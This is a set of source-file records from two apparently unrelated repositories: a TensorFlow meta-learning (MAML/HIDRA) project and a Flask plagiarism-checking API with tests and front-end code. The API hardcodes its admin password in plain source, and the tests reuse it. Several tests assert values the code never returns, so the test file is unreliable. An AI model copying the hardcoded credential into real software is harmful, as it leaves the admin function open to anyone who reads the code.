data_sampler.sample_Task(meta_batch,min_classes,max_classes+1,train_shots,test_shots,\"test\")\n print(\"TEST MODE\")\n m.loadWeights(sess, name, step = str(int(eval_step)), model_name=name+\".ckpt\")\n for i in range(meta_iters):\n xb1,yb1,xb2,yb2 = next(train_gen)\n num_l = [len(np.unique(np.argmax(yb1,axis=-1)))]\n\n if m.maml_n == 2:\n sess.run(m.init_assign, feed_dict={m.label_n:[5]})\n l,vals,ps=sess.run([m.test_train_loss,m.test_val_losses,m.val_predictions],feed_dict={m.train_xb: xb1,\n m.train_yb: yb1,\n m.val_xb:xb2,\n m.val_yb:yb2,\n m.label_n:num_l})\n\n losses.append(vals)\n lossesB.append(vals)\n buffer.append(l)\n\n true_vals = np.argmax(yb2,axis=-1)\n all_accs = []\n for pred_epoch in range(len(ps)):\n \tall_accs.append(np.mean(np.argmax(ps[pred_epoch],axis=-1)==true_vals))\n temp_yp.append(all_accs)\n\n\n # if i%1==0:\n if i%50==0:\n print(f\"({i}/{meta_iters})\")\n print(f\"Final: TLoss {np.mean(buffer)}, VLoss {np.mean(lossesB,axis=0)}\", f\"Accuracy {np.mean(temp_yp,axis=0)}\" )\n print(f\"Final: TLoss {np.mean(buffer)}-{np.std(buffer)}, VLoss {np.mean(lossesB,axis=0)}-{np.std(lossesB,axis=0)}\", f\"Accuracy {np.mean(temp_yp,axis=0)}-{np.std(temp_yp,axis=0)}\" )\n\n" }, { "alpha_fraction": 0.6417445540428162, "alphanum_fraction": 0.6479750871658325, "avg_line_length": 41.09836196899414, "blob_id": "1e916fcc28966c7dace2393147988823a874d7a9", "content_id": "f22cfe23788948ff72e506bcc0f21f8353cc0d17", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2568, "license_type": "no_license", "max_line_length": 133, "num_lines": 61, "path": "/main.py", "repo_name": "radrumond/hidra", "src_encoding": "UTF-8", "text": "## Created by Rafael Rego Drumond and Lukas Brinkmeyer\n# THIS IMPLEMENTATION USES THE CODE FROM: https://github.com/dragen1860/MAML-TensorFlow\n\nfrom data_gen.omni_gen import unison_shuffled_copies,OmniChar_Gen, MiniImgNet_Gen\nfrom archs.fcn import Model as mfcn\nfrom archs.hydra import Model as mhyd\nfrom train import *\nfrom test import *\nfrom args import argument_parser, train_kwargs, test_kwargs\nimport random\n\nargs = argument_parser().parse_args()\nrandom.seed(args.seed)\nt_args = train_kwargs(args)\ne_args = test_kwargs (args)\n\nprint(\"########## argument sheet ########################################\")\nfor arg in vars(args):\n print (f\"#{arg:>15} : {str(getattr(args, arg))} \")\nprint(\"##################################################################\")\n\nprint(\"Loading Data...\")\nif args.dataset in [\"Omniglot\", \"omniglot\", \"Omni\", \"omni\"]:\n loader = OmniChar_Gen (args.data_path)\n isMIN = False\n shaper = [28,28,1]\nelif args.dataset in [\"miniimagenet\", \"MiniImageNet\", \"mini\"]:\n loader = MiniImgNet_Gen(args.data_path)\n isMIN = True\n shaper = [84,84,3]\nelse:\n raise ValueError(\"INVALID DATA-SET NAME!\")\n\nprint(\"Building Model...\")\nif args.arch == \"fcn\"or args.arch == \"maml\":\n print(\"SELECTED: MAML\")\n m = mfcn (meta_lr = args.meta_step, train_lr = args.learning_rate, image_shape=shaper, isMIN=isMIN, label_size=args.max_classes)\n mt = mfcn (meta_lr = args.meta_step, train_lr = args.learning_rate, image_shape=shaper, isMIN=isMIN, label_size=args.max_classes)\n#elif args.arch == \"rnn\":\n# m = mrnn (meta_lr = args.meta_step, train_lr = args.learning_rate, image_shape=shaper, isMIN=isMIN, label_size=args.min_classes)\nelif args.arch == \"hydra\" or args.arch == \"hidra\":\n print(\"SELECTED: HIDRA\")\n m = mhyd (meta_lr = args.meta_step, train_lr = args.learning_rate, image_shape=shaper, isMIN=isMIN, label_size=args.max_classes)\n mt = mhyd (meta_lr = args.meta_step, train_lr = args.learning_rate, image_shape=shaper, isMIN=isMIN, label_size=args.max_classes)\nelse:\n raise ValueError(\"INVALID Architecture NAME!\")\n\nmode = \"train\"\nif args.test:\n mode = \"test\"\n print(\"Starting Test Step...\")\n mt.build (K = args.test_inner_K, meta_batchsz = args.meta_batch, mode=mode)\n test (mt, loader, **e_args)\nelse:\n modeltest = None\n if args.testintrain:\n mt.build (K = args.test_inner_K, meta_batchsz = args.meta_batch, mode=\"test\")\n modeltest = mt\n print(\"Starting Train Step...\")\n m.build (K = args.train_inner_K, meta_batchsz = args.meta_batch, mode=mode)\n train(m, modeltest, loader, **t_args)\n" }, { "alpha_fraction": 0.6543733477592468, "alphanum_fraction": 0.704960823059082, "avg_line_length": 35.47618865966797, "blob_id": "80563c32481f2643583cece3eb4555fae562ed44", "content_id": "162834dbacfba6b62b5b1a815b3d8aa9998d36fa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3064, "license_type": "no_license", "max_line_length": 260, "num_lines": 84, "path": "/readme.md", "repo_name": "radrumond/hidra", "src_encoding": "UTF-8", "text": "# HIDRA: Head Initialization for Dynamic Robust Architectures\n\n## Created by: Rafael Rego Drumond and Lukas Brinkmeyer\n\n- Built on top of https://github.com/dragen1860/MAML-TensorFlow\n\n## Credits and Details\nPublished in SIAM's SDM2020\n- If you use this code, please cite the paper from MAML and our paper. Bibtex'es below. For more details, look at our paper.\n\nMaml paper:\n```\n\t@inproceedings{finn2017model,\n\t title={Model-agnostic meta-learning for fast adaptation of deep networks},\n\t author={Finn, Chelsea and Abbeel, Pieter and Levine, Sergey},\n\t booktitle={Proceedings of the 34th International Conference on Machine Learning-Volume 70},\n\t pages={1126--1135},\n\t year={2017},\n\t organization={JMLR. org}\n\t}\n```\nOur paper:\n```\n@inproceedings{drumond2020hidra,\n title={HIDRA: Head Initialization across Dynamic targets for Robust Architectures},\n author={Drumond, Rafael Rego and Brinkmeyer, Lukas and Grabocka, Josif and Schmidt-Thieme, Lars},\n booktitle={Proceedings of the 2020 SIAM International Conference on Data Mining},\n pages={397--405},\n year={2020},\n organization={SIAM}\n}\n```\n\n## How to use it?\n\n- First you must download omniglot or miniimagenet data sets.\n\n-- For omniglot use: https://github.com/cbfinn/maml/blob/master/data/omniglot_resized/resize_images.py\n\n-- For the latter use: https://github.com/yaoyao-liu/mini-imagenet-tools\n\n\n### How to run it?\n\n\n- REGULAR MAML with OMNIGLOT (5 classes)\n\n```\npython main.py --arch maml --dataset omni --data_path /path/to/omniglot --learning_rate 0.4 --meta_step 0.001 --meta_batch 4 --meta_iters 60001 --name OMNI_MAML --min_classes 5 --max_classes 5 --train_inner_K 1 --test_inner_K 3 --eval_iters 256\n```\n\n- REGULAR MAML with MiniImageNet (5 classes)\n\n```\npython main.py --arch maml --dataset mini --data_path /path/to/MiniImageNet --learning_rate 0.4 --meta_step 0.001 --meta_batch 4 --meta_iters 60001 --name MINI_MAML_5 --min_classes 5 --max_classes 5 --train_inner_K 5 --test_inner_K 10 --eval_iters 256\n```\n\n- HIDRA with OMNIGLOT (5 classes)\n\n```\npython main.py --arch hidra --dataset omni --data_path /path/to/omniglot --learning_rate 0.4 --meta_step 0.001 --meta_batch 4 --meta_iters 60001 --name OMNI_HIDRA_5 --min_classes 5 --max_classes 5 --train_inner_K 1 --test_inner_K 3 --eval_iters 256\n```\n-- or a lower learning rate\n\n```\npython main.py --arch hidra --dataset omni --data_path /path/to/omniglot --learning_rate 0.01 --meta_step 0.001 --meta_batch 4 --meta_iters 60001 --name OMNI_HIDRA_5_SMALL_lr --min_classes 5 --max_classes 5 --train_inner_K 1 --test_inner_K 3 --eval_iters 256\n```\n\n- HIDRA with MiniImageNet (5 classes)\n\n```\npython main.py --arch hidra --dataset mini --data_path /path/to/MiniImageNet --learning_rate 0.4 --meta_step 0.001 --meta_batch 4 --meta_iters 60001 --name MINI_HIDRA_5 --min_classes 5 --max_classes 5 --train_inner_K 5 --test_inner_K 10 --eval_iters 256\n```\n\n- For testing, just add the ```--test``` flag\n- To continue training or for testing, you must provide the step number as ```--step X``` (where X is your checkpoint number on model_checkpoint/NAME folder)\n\n## Python Requirements\n\n- tensorflow=1.14\n- opencv-python\n- pillow\n- numpy\n- json\n" } ]
9
Rhaptos/Products.Lensmaker
https://github.com/Rhaptos/Products.Lensmaker
900d7902c26b27661a9d655a531a70f8a8751a59
20763e923700d28477850b9bf9a85c69307df04a
b8cc62a4d33694b1505785555b0a0be383f6e63f
refs/heads/master
2020-07-21T23:58:23.549187
2017-03-08T19:19:16
2017-03-08T19:19:16
6,147,129
0
1
null
2012-10-09T20:19:00
2014-03-28T15:02:25
2017-03-07T20:54:38
Python
[ { "alpha_fraction": 0.6810228824615479, "alphanum_fraction": 0.6850605607032776, "avg_line_length": 34.33333206176758, "blob_id": "1b585b5fba2bf9e415d2545fe3f5d4acf6698449", "content_id": "7fd4e4619a5a0a9dce9ce69cee1bf7d10ca4eeb1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 743, "license_type": "no_license", "max_line_length": 95, "num_lines": 21, "path": "/widgets.py", "repo_name": "Rhaptos/Products.Lensmaker", "src_encoding": "UTF-8", "text": "from Products.Archetypes.public import StringWidget\nfrom Products.Archetypes.Registry import registerWidget\n\nclass ColorWidget(StringWidget):\n _properties = StringWidget._properties.copy()\n _properties.update({\n 'macro' : \"colorchooser\",\n })\n\n\nregisterWidget(ColorWidget,\n title='Color',\n description='Like StringWidget, stores the hex value of a color.',\n used_for=('Products.Archetypes.Field.StringField',)\n )\n\n\nfrom Products.validation import validation\nfrom Products.validation.validators import RegexValidator\nvalidation.register(RegexValidator('isHexColor', r'^[0-9a-fA-F]{6}$', title='', description='',\n errmsg='is not a hexadecimal color code.'))\n\n" } ]
1
tiwarim/PlagiarismCheck
https://github.com/tiwarim/PlagiarismCheck
7820a761a9319e9ffc0bf6d0a77eb0aacb73c706
2b627bf74266f51b51b958b1d808186cdc832781
aef2f108d19c6277e2b1e29d3739304404473bc6
refs/heads/master
2023-01-02T07:10:25.596422
2020-10-29T06:55:04
2020-10-29T06:55:04
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.539539098739624, "alphanum_fraction": 0.5549028515815735, "avg_line_length": 31.072463989257812, "blob_id": "d28148b9ef3d92a2fa2c3605f41d3cccb802bb5a", "content_id": "5ca7164339b591c7c9e1311249aad589f06c1660", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2233, "license_type": "no_license", "max_line_length": 120, "num_lines": 69, "path": "/src/Backend/web/Detect.py", "repo_name": "tiwarim/PlagiarismCheck", "src_encoding": "UTF-8", "text": "# importing libraries\nfrom sys_utils import *\n\n# Resource Detect\n\"\"\"\n Resource Detect takes input on a POST protocol and returns similarity ratio\n    Parameters:\n     namepassimg: contains username, password of the user and two string documents <JSON>\n    Returns:\n        retJson: contains status code and message <JSON>\n\"\"\"\nclass Detect(Resource):\n def post(self):\n namepasstext = request.get_json()\n username = namepasstext[\"username\"]\n password = namepasstext[\"password\"]\n text1 = namepasstext[\"text1\"]\n text2 = namepasstext[\"text2\"]\n\n if not userExists(username):\n retJson = {\n \"statuscode\" : 301,\n \"message\" : \"User does not exit\"\n }\n return jsonify(retJson)\n \n correct_pw = verifypw(username, password)\n if not correct_pw:\n retJson = {\n \"statuscode\" : 302,\n \"message\" : \"Invalid password\"\n }\n return jsonify(retJson)\n\n num_tokens = countTokens(username)\n if num_tokens <= 0 :\n retJson = {\n \"statuscode\" : 303,\n \"message\" : \"Out of tokens, please refill\"\n }\n return jsonify(retJson)\n\n # calculate edit distance. We use the pretained spacy model to predict the similarity of two strings goven to us\n nlp = spacy.load('en_core_web_sm') # loaded the spacy model\n \n text1 = nlp(text1) # change from string to natural language processing model sentence\n text2 = nlp(text2)\n\n # ratio of similarity between 0 and 1 for the text1 and text2. closer the one, more the similarity\n # 0 = text1 and text2 are very different and 1 = text1 and text2 are almost or entirely similar\n\n ratio = text1.similarity(text2)\n \n retJson = {\n \"statuscode\" : 200,\n \"message\" : \"Similarity ration calculated\",\n \"similarity ratio\" : ratio\n }\n\n users.update({\n \"username\":username,\n },\n {\n \"$set\": {\n \"tokens\" : num_tokens -1\n }\n }\n )\n return jsonify(retJson)\n" }, { "alpha_fraction": 0.6260427236557007, "alphanum_fraction": 0.7141404151916504, "avg_line_length": 41.739131927490234, "blob_id": "c34c699a6dc21453c522a5a96c01c1b6e4f484f0", "content_id": "99ccb4013b8787bae264d83fcb0505ba7f095408", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4915, "license_type": "no_license", "max_line_length": 856, "num_lines": 115, "path": "/README.md", "repo_name": "tiwarim/PlagiarismCheck", "src_encoding": "UTF-8", "text": "# Plagiarism Check\n\nThis is a webpage based project that uses pretrained Natural Language Procesing model called Spacy to compute pairwise similarity ratio between two documents. This allows user to register for the API using a unique username and password. With each registration, a user gets 6 free tokens. User calls the API giving his username, password and the two documents as string and gets back the similarity ratio. Each transcation costs the user 1 token and he has option to refill the tokens by paying for it. When Admin receives tghe pay, he call the API giving username, Admin password and the refill amount. The user now has sum of existing tokens and the refill amount. The API is hosted on AWS with host url \"ec2-3-134-112-214.us-east-2.compute.amazonaws.com at port 800\". You can also access the live webpage at \"http://plagiarismcheck-com.stackstaging.com\"\n\n## Getting Started\n\nThese instructions will get you a copy of the project up and running on your local machine for development and testing purposes. See deployment for notes on how to deploy the project on a live system.\n\n### System Prerequisites\n\n```\nPython3\nMongoDB\nDocker\nDocker-compose\nPostman\nGoogle Chrome\n```\n**Install Python requirements**\n```\npip3 install -r requirements.txt\n```\n\n### Installing\n\nA step by step series of examples that tell you how to get a development env running\n\nSay what the step will be\n\n```\nPython : \nhttps://www.ics.uci.edu/~pattis/common/handouts/pythoneclipsejava/python.html \n\nFlask:\nhttps://pypi.org/project/Flask/ \n\nMongoDB :\nhttps://docs.mongodb.com/manual/installation/\n\nDocker \nhttps://docs.docker.com/docker-for-mac/install/ \n\nDocker-compose \nhttps://docs.docker.com/compose/install/\n\nPostman:\nhttps://www.getpostman.com/downloads/ \n```\n\n### Resource Chart Protocol\n\n```\n| Resource | URL | Protocol | Parameters | status codes\n| ------------- | ------------- | --------- | ------------- | ------------- \n| Register | /register | POST | username, password | 200 OK, 301 user exists\n| Detect | /detect | POST | username, password, doc1, doc2 | 200 OK, 301 invalid user, 302 invalid password, 303 out of tokens\n| Refill | /refill | POST | username, password, refill amt | 200 OK, 301 invalid user, 302 invalid password, 304 wrong Admin password\n\n```\n\n\n\n## Running the tests\n\"\nIn your local machine, go to your project directory and run\n * sudo docker-compose build <br />\n * sudo docker-compose up <br />\n Once the API is running, your backend is good to go. Go onto the webpage and <br />\n * register using a username and password <br />\n * find the similarity ration by using your valid username, password and the two documents as string <br /> \n * Refill tokens using your usename, admin password and refill amount as the inputs <br />\n \n **Registration** <br />\n<img width=\"1048\" alt=\"Screen Shot 2020-04-06 at 11 27 42 PM\" src=\"https://user-images.githubusercontent.com/41305591/78627346-3aaf1380-785f-11ea-920e-58d321d1049d.png\"> <br />\n\n **Detecting similarity** <br />\n <img width=\"906\" alt=\"Screen Shot 2020-04-06 at 11 28 41 PM\" src=\"https://user-images.githubusercontent.com/41305591/78627414-5e725980-785f-11ea-97c0-cfaf057b30ca.png\"> <br />\n\n Refilling tokens <br />\n <img width=\"896\" alt=\"Screen Shot 2020-04-06 at 11 28 59 PM\" src=\"https://user-images.githubusercontent.com/41305591/78627464-81047280-785f-11ea-95be-79b2d691f317.png\">\n\n \n ## Running edge test cases ##\n Regsitering a user twice <br />\n <img width=\"758\" alt=\"Screen Shot 2020-04-06 at 11 38 36 PM\" src=\"https://user-images.githubusercontent.com/41305591/78627556-c0cb5a00-785f-11ea-8af1-7f00624c68b4.png\">\n \n Invalid user name <br />\n <img width=\"766\" alt=\"Screen Shot 2020-04-06 at 11 39 48 PM\" src=\"https://user-images.githubusercontent.com/41305591/78627616-f07a6200-785f-11ea-920d-ab4e6e22a4b9.png\">\n\n No more tokens <br />\n <img width=\"802\" alt=\"Screen Shot 2020-04-06 at 11 42 07 PM\" src=\"https://user-images.githubusercontent.com/41305591/78627743-3e8f6580-7860-11ea-9673-39cf868fb14b.png\">\n\n \n Wrong Admin password <br />\n <img width=\"790\" alt=\"Screen Shot 2020-04-06 at 11 42 55 PM\" src=\"https://user-images.githubusercontent.com/41305591/78627792-5c5cca80-7860-11ea-837e-0028bec82ec0.png\"> <br />\n \n\n## Deployment\n\nCreate a EC2 instance in AWS console, download the pep file and run the following commands: <br />\n* ssh -i \"Pem file location\"\"pem file name\".pem.txt \"username\"@\"public dns of your instance\" <br />\n install docker and docker-compose. <br />\n* mkdir \"directory name\" <br />\n* cd \"directory name\"\n* git clone \"your git link to the application containing docker-compose.yml\" <br />\n* sudo docker-compose build <br />\n* sudo docker-compose up. <br />\n \n Your application should now be up and running on AWS\n \n## Acknowledgments\n\n* Stack Overflow\n* Udemy\n* El Farouk Yaseer\n" }, { "alpha_fraction": 0.5283687710762024, "alphanum_fraction": 0.5347517728805542, "avg_line_length": 26.647058486938477, "blob_id": "814066a5c719e464ec52128cd8216a5b638aed0c", "content_id": "32147752699582c2ed4fb2c7fe9ba99cf650e079", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1430, "license_type": "no_license", "max_line_length": 83, "num_lines": 51, "path": "/src/Backend/web/Refill.py", "repo_name": "tiwarim/PlagiarismCheck", "src_encoding": "UTF-8", "text": "# importing libraries\nfrom sys_utils import *\n\n# Resource refill\n\"\"\"\n Resource Refill takes input on a POST protocol and adds to the existing tokens \n    Parameters:\n     namepassref: contains username, admin password and refill amount <JSON>\n    Returns:\n        retJson: contains status code and message <JSON>\n\"\"\"\nclass Refill(Resource):\n def post(self):\n namepassref = request.get_json()\n username = namepassref[\"username\"]\n admin_password = namepassref[\"admin_password\"]\n refill_amt = namepassref[\"refill_amt\"]\n\n if not userExists(username):\n retJson = {\n \"statuscode\" : 301,\n \"message\" : \"User does not exit\"\n }\n return jsonify(retJson)\n \n correct_admin_password = \"Admiral123\"\n\n if not correct_admin_password == admin_password:\n retJson = {\n \"statuscode\" : 304,\n \"message\" : \"Invalid admin password\"\n }\n return jsonify(retJson)\n\n num_tokens = countTokens(username)\n\n users.update({\n \"username\":username,\n },\n {\n \"$set\": {\n \"tokens\" : num_tokens + refill_amt\n }\n }\n )\n\n retJson = {\n \"statuscode\" : 200,\n \"message\" : \"Tokens refilled successfully\"\n }\n return jsonify(retJson)\n" }, { "alpha_fraction": 0.5589600801467896, "alphanum_fraction": 0.5663881301879883, "avg_line_length": 28.91666603088379, "blob_id": "3bd20d0cb9b66baa6ba32a661ff34efe460f23ca", "content_id": "874dabc9971079c25fa839928b1202b4ec8779d7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1097, "license_type": "no_license", "max_line_length": 78, "num_lines": 36, "path": "/src/Backend/web/Register.py", "repo_name": "tiwarim/PlagiarismCheck", "src_encoding": "UTF-8", "text": "# importing libraries\nfrom sys_utils import *\n\n# Resource Register\n\"\"\"\n Resource Register takes input on a POST protocol and creates new accounts \n    Parameters:\n     namepass: contains username and password of the user <JSON>\n    Returns:\n        retJson: contains status code and message <JSON>\n\"\"\"\nclass Register(Resource):\n def post(self):\n namepass = request.get_json()\n username = namepass[\"username\"]\n password = namepass[\"password\"]\n\n # check if the user already exists\n if userExists(username):\n retJson = {\n \"statuscode\" : 301,\n \"message\" : \"User Already exists\"\n }\n return jsonify(retJson)\n\n hashedpw = bcrypt.hashpw(password.encode('utf8'), bcrypt.gensalt())\n users.insert({\n \"username\" : username,\n \"password\" : hashedpw,\n \"tokens\" : 6\n })\n retJson = {\n \"statuscode\" : 200,\n \"message\" : \"you successfuly signed up for the api\"\n }\n return jsonify(retJson)\n" }, { "alpha_fraction": 0.5374348163604736, "alphanum_fraction": 0.6167535781860352, "avg_line_length": 30.79024314880371, "blob_id": "4041f397fcd8ca3f71e774e4a6e4d14d57fbf017", "content_id": "ebc08fe284b04b7ce5a0ed94f76ad2fa3e39b028", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6584, "license_type": "no_license", "max_line_length": 109, "num_lines": 205, "path": "/src/Testing/Unit_Test.py", "repo_name": "tiwarim/PlagiarismCheck", "src_encoding": "UTF-8", "text": "import requests\nimport json\nfrom time import process_time\n\n\ndef test_FR1_1():\n response = requests.post('http://ec2-3-134-112-214.us-east-2.compute.amazonaws.com:8000/register', json={\n\t\"username\" : \"ghtdsss\",\n\t\"password\" : \"12356\"\t\n })\n json_response = response.json()\n assert json_response['statuscode'] == 200\n\n\ndef test_FR1_2():\n response = requests.post('http://ec2-3-134-112-214.us-east-2.compute.amazonaws.com:8000/register', json={\n\t\"username\" : \"fffff\",\n\t\"password\" : \"123\"\t\n })\n json_response = response.json()\n assert json_response['statuscode'] == 200\n\n\ndef test_FR1_3():\n response = requests.post('http://ec2-3-134-112-214.us-east-2.compute.amazonaws.com:8000/register', json={\n\t\"username\" : \"&%$!@&\",\n\t\"password\" : \"123\"\t\n })\n json_response = response.json()\n assert json_response['statuscode'] == 200\n\n\ndef test_FR2_1():\n response = requests.post('http://ec2-3-134-112-214.us-east-2.compute.amazonaws.com:8000/register', json={\n\t\"username\" : \"fffff\",\n\t\"password\" : \"123\"\t\n })\n json_response = response.json()\n assert json_response['statuscode'] == 301\n\ndef test_FR2_2():\n response = requests.post('http://ec2-3-134-112-214.us-east-2.compute.amazonaws.com:8000/register', json={\n \"username\" : \"fffff\",\n \"password\" : \"123\" \n })\n json_response = response.json()\n assert json_response['statuscode'] == 200\n\ndef test_FR3_1():\n response = requests.post('http://ec2-3-134-112-214.us-east-2.compute.amazonaws.com:8000/detect', json={\n \"username\" : \"wer\",\n \"password\" : \"123\",\n \"text1\" : \"www\",\n \"text2\" : \"www\" \n })\n json_response = response.json()\n assert json_response['statuscode'] == 200\n assert json_response[\"similarity ratio\"] == 100\n\ndef test_FR3_2():\n response = requests.post('http://ec2-3-134-112-214.us-east-2.compute.amazonaws.com:8000/detect', json={\n \"username\" : \"gggg\",\n \"password\" : \"123\",\n \"text1\" : \"www\",\n \"text2\" : \"www\" \n })\n json_response = response.json()\n assert json_response['statuscode'] == 200\n assert json_response[\"similarity ratio\"] == 100\n\ndef test_FR3_3():\n response = requests.post('http://ec2-3-134-112-214.us-east-2.compute.amazonaws.com:8000/detect', json={\n \"username\" : \"fffff\",\n \"password\" : \"123\",\n \"text1\" : \"www\",\n \"text2\" : \"www\" \n })\n json_response = response.json()\n assert json_response['statuscode'] == 303\n\ndef test_FR3_4():\n response = requests.post('http://ec2-3-134-112-214.us-east-2.compute.amazonaws.com:8000/detect', json={\n \"username\" : \"wer\",\n \"password\" : \"1234\",\n \"text1\" : \"www\",\n \"text2\" : \"www\" \n })\n json_response = response.json()\n assert json_response['statuscode'] == 302\n \n\ndef test_FR4_1():\n response = requests.post('http://ec2-3-134-112-214.us-east-2.compute.amazonaws.com:8000/refill', json={\n \"username\" : \"wsx\",\n \"admin_password\" : \"Admiral123\",\n \"refill_amt\" : 10\n })\n json_response = response.json()\n assert json_response['statuscode'] == 200\n assert json_response[\"tokens left\"] == 226\n\ndef test_FR4_2():\n response = requests.post('http://ec2-3-134-112-214.us-east-2.compute.amazonaws.com:8000/refill', json={\n \"username\" : \"weesx\",\n \"admin_password\" : \"Admiral123\",\n \"refill_amt\" : 10\n })\n json_response = response.json()\n assert json_response['statuscode'] == 301\n \ndef test_FR4_3():\n response = requests.post('http://ec2-3-134-112-214.us-east-2.compute.amazonaws.com:8000/refill', json={\n \"username\" : \"wsx\",\n \"admin_password\" : \"Admiral12345\",\n \"refill_amt\" : 10\n })\n json_response = response.json()\n assert json_response['statuscode'] == 304\n\ndef test_FR4_4():\n response = requests.post('http://ec2-3-134-112-214.us-east-2.compute.amazonaws.com:8000/refill', json={\n \"username\" : \"wsx\",\n \"admin_password\" : \"Admiral123\",\n \"refill_amt\" : 10\n })\n json_response = response.json()\n assert json_response['statuscode'] == 200\n assert json_response[\"tokens left\"] == 20\n\ndef test_NFR2_1():\n response = requests.post('http://ec2-3-134-112-214.us-east-2.compute.amazonaws.com:8000/register', json={\n \"username\" : \"wssdxwda\",\n \"password\" : \"123\" \n })\n json_response = response.json()\n assert json_response['statuscode'] == 200\n\ndef test_NFR2_2():\n response = requests.post('http://ec2-3-134-112-214.us-east-2.compute.amazonaws.com:8000/detect', json={\n \"username\" : \"wer\",\n \"password\" : \"123\",\n \"text1\" : \"w\",\n \"text2\" : \"w\" \n })\n json_response = response.json()\n assert json_response['statuscode'] == 200\n assert json_response[\"similarity ratio\"] == 100\n\ndef test_NFR2_3():\n response = requests.post('http://ec2-3-134-112-214.us-east-2.compute.amazonaws.com:8000/refill', json={\n \"username\" : \"123\",\n \"admin_password\" : \"Admiral123\",\n \"refill_amt\" : 5\n })\n json_response = response.json()\n assert json_response['statuscode'] == 200\n assert json_response[\"tokens left\"] == 31\n\ndef test_NFR3_1():\n response = requests.post('http://ec2-3-134-112-214.us-east-2.compute.amazonaws.com:8000/detect', json={\n \"username\" : \"wer\",\n \"password\" : \"123\",\n \"text1\" : \"我是谁\",\n \"text2\" : \"我是谁\" \n })\n json_response = response.json()\n assert json_response['statuscode'] == 200\n assert json_response[\"similarity ratio\"] == 100\n\ndef test_NFR3_2():\n response = requests.post('http://ec2-3-134-112-214.us-east-2.compute.amazonaws.com:8000/detect', json={\n \"username\" : \"wer\",\n \"password\" : \"123\",\n \"text1\" : \"😀\",\n \"text2\" : \"😀\" \n })\n json_response = response.json()\n assert json_response['statuscode'] == 200\n assert json_response[\"similarity ratio\"] == 100\n\ndef test_NFR4_1():\n t1_start = process_time()\n response = requests.post('http://ec2-3-134-112-214.us-east-2.compute.amazonaws.com:8000/detect', json={\n \"username\" : \"wer\",\n \"password\" : \"123\",\n \"text1\" : \"www\",\n \"text2\" : \"www\" \n })\n json_response = response.json()\n t1_stop = process_time()\n Elapsed_time = t1_stop - t1_start\n assert Elapsed_time <= 0.1\n \ndef test_NFR4_2():\n t1_start = process_time()\n response = requests.post('http://ec2-3-134-112-214.us-east-2.compute.amazonaws.com:8000/detect', json={\n \"username\" : \"wer\",\n \"password\" : \"123\",\n \"text1\" : \"微服私访被u饿不饿不吃速测\",\n \"text2\" : \"金额发i俄服务i脑残粉i为访问\"\n })\n json_response = response.json()\n t1_stop = process_time()\n Elapsed_time = t1_stop - t1_start\n assert Elapsed_time <= 0.1\n\n" }, { "alpha_fraction": 0.5663630366325378, "alphanum_fraction": 0.5780741572380066, "avg_line_length": 34.70930099487305, "blob_id": "31f7459effbc9f6ac9cc1f12eb7ff3b086cd6cdb", "content_id": "319779192c0b9b03082c89e64ca92bbfee21150a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 6148, "license_type": "no_license", "max_line_length": 166, "num_lines": 172, "path": "/src/Frontend/index.js", "repo_name": "tiwarim/PlagiarismCheck", "src_encoding": "UTF-8", "text": "// this javascript file provides dynamic functions to the webpage and calls the api when submit button is clicked\n \n// function to create a CORS complaint http request \nfunction createCorsRequest(method, url){\n var xhr = new XMLHttpRequest();\n if(\"withCredentials\" in xhr){\n xhr.open(method, url, true);\n } else if (typeof xDomaiRequest != \"undefined\"){\n xhr = new xDomaiRequest();\n xhr.open(method, url);\n } else{\n xhr = null;\n }\n return xhr;\n}\n\n \n// function that calls for Register\nfunction makeCorsRequestRegister(uname, pass){\n var url = \"https://cors-anywhere.herokuapp.com/ec2-3-134-112-214.us-east-2.compute.amazonaws.com:8000/register\";\n var xhr = createCorsRequest('POST', url)\n const inJson = {\n \"username\" : uname ,\n \"password\" : pass \n };\n const jsonS = JSON.stringify(inJson);\n if(!xhr){\n alert('CORS not supported');\n return;\n }\n xhr.onload = function(){\n var text = xhr.responseText;\n // alert('Response from Cors requestt')\n };\n\n xhr.onerror = function(){\n alert('There is an error in calling');\n };\n\n xhr.setRequestHeader(\"Content-Type\", \"application/json\");\n\n xhr.onreadystatechange = function(){\n if(xhr.readyState == 4 && xhr.status == 200){\n var out = JSON.parse(xhr.responseText);\n var main = \"\";\n var tbltop = `<table>\n <tr><th>Message</th><th>Status Code</th><th>Tokens left</th></tr>`;\n \n main += \"<tr><td>\"+out.message+\"</td><td>\"+out.statuscode+\"</td><td>\"+out[\"tokens left\"]+\"</td></tr>\";\n \n var tblbottom = \"</table>\";\n var tbl = tbltop + main + tblbottom;\n document.getElementById(\"register\").innerHTML = tbl;\n // alert(out.message);\n }\n };\n \n xhr.send(jsonS);\n}\n\n// sender fnc that takes inputs from the form and calls the Register api \nfunction Registersend(){\n var username = document.getElementById(\"RegisterForm\").username.value;\n var password = document.getElementById(\"RegisterForm\").password.value;\n\n \n makeCorsRequestRegister(username, password);\n}\n \n// function that calls for Check\nfunction makeCorsRequestCheck(uname, pass, str1, str2){\n var url = \"https://cors-anywhere.herokuapp.com/ec2-3-134-112-214.us-east-2.compute.amazonaws.com:8000/detect\";\n var xhr = createCorsRequest('POST', url)\n const inJson = {\n \"username\" : uname ,\n \"password\" : pass ,\n \"text1\" : str1,\n \"text2\" : str2\n };\n const jsonS = JSON.stringify(inJson);\n if(!xhr){\n alert('CORS not supported');\n return;\n }\n xhr.onload = function(){\n var text = xhr.responseText;\n // alert('Response from Cors requestt')\n };\n xhr.onerror = function(){\n alert('There is an error in calling');\n };\n xhr.setRequestHeader(\"Content-Type\", \"application/json\");\n\n xhr.onreadystatechange = function(){\n if(xhr.readyState == 4 && xhr.status == 200){\n var out = JSON.parse(xhr.responseText);\n var main = \"\";\n var tbltop = `<table>\n <tr><th>Message</th><th>Ratio</th><th>Status Code</th><th>Tokens left</th></tr>`;\n \n main += 